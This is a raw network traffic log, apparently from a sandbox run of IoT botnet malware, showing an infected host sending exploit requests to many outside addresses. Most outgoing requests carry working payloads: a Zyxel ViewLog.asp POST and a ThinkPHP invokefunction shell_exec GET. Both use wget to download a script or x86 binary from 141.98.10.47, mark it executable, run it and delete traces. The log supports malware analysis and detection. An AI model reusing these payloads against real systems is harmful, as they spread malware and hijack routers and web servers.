Dec 26, 2023 21:26:10.497324944 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
654	192.168.2.23	36108	94.79.146.12	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:11.185343027 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
655	192.168.2.23	51746	31.200.88.206	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:11.463977098 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
656	192.168.2.23	32826	31.0.226.67	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:11.495337963 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:13.029143095 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:13.331373930 CET	548	IN	HTTP/1.1 400 Bad Request Date: Wed, 27 Dec 2023 08:14:08 GMT Server: X-Frame-Options: SAMEORIGIN Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ; object-src 'self' ; worker-src 'self' blob: Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
657	192.168.2.23	48610	95.111.253.210	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:11.963480949 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:12.209738970 CET	903	IN	HTTP/1.1 400 Bad Request content-type: text/html cache-control: private, no-cache, max-age=0 pragma: no-cache content-length: 679 date: Tue, 26 Dec 2023 13:26:21 GMT server: LiteSpeed connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
658	192.168.2.23	47924	95.100.54.241	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:11.966645956 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:12.215837002 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Tue, 26 Dec 2023 20:26:12 GMT Date: Tue, 26 Dec 2023 20:26:12 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 63 66 39 30 61 31 37 26 23 34 36 3b 31 37 30 33 36 32 32 33 37 32 26 23 34 36 3b 37 63 36 32 38 37 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.5cf90a17.1703622372.7c62871</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
659	192.168.2.23	39574	95.84.187.45	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:12.002829075 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:12.288208961 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 26 Dec 2023 20:26:12 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
660	192.168.2.23	52774	95.141.138.24	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:12.039206982 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:13.701046944 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:15.652839899 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
661	192.168.2.23	53414	95.100.136.146	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:12.111943007 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:12.531882048 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:26:12 GMT Date: Tue, 26 Dec 2023 20:26:12 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 65 34 38 36 62 61 35 64 26 23 34 36 3b 31 37 30 33 36 32 32 33 37 32 26 23 34 36 3b 34 35 64 34 32 61 61 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.e486ba5d.1703622372.45d42aad</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
662	192.168.2.23	52732	88.151.140.91	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:12.268426895 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:13.668968916 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:15.304760933 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
663	192.168.2.23	35882	88.214.200.228	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:12.901679039 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:13.063265085 CET	473	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:26:12 GMT Server: Apache Content-Length: 295 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 6e 6f 74 66 6f 75 6e 64 2e 68 71 68 6f 73 74 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache Server at notfound.hqhost.net Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
664	192.168.2.23	45108	88.221.181.225	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:12.969120979 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:13.207151890 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:26:13 GMT Date: Tue, 26 Dec 2023 20:26:13 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 63 33 65 31 32 30 32 26 23 34 36 3b 31 37 30 33 36 32 32 33 37 33 26 23 34 36 3b 38 62 38 36 64 61 31 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.dc3e1202.1703622373.8b86da1b</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
665	192.168.2.23	49612	112.169.155.115	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:13.226387024 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:13.547743082 CET	270	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 113 Connection: close Date: Tue, 26 Dec 2023 20:26:12 GMT Server: httpd Data Raw: 3c 68 74 6d 6c 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
666	192.168.2.23	43712	112.166.76.120	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:13.230415106 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:13.644258022 CET	243	IN	HTTP/1.0 404 Not Found Content-type: text/html Date: Tue, 26 Dec 2023 20:26:14 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL was not found</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
667	192.168.2.23	43724	112.166.76.120	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:13.929529905 CET	236	IN	HTTP/1.0 400 Bad Request Content-type: text/html Date: Tue, 26 Dec 2023 20:26:14 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Unsupported method</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
668	192.168.2.23	57572	94.120.41.52	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:15.130100965 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

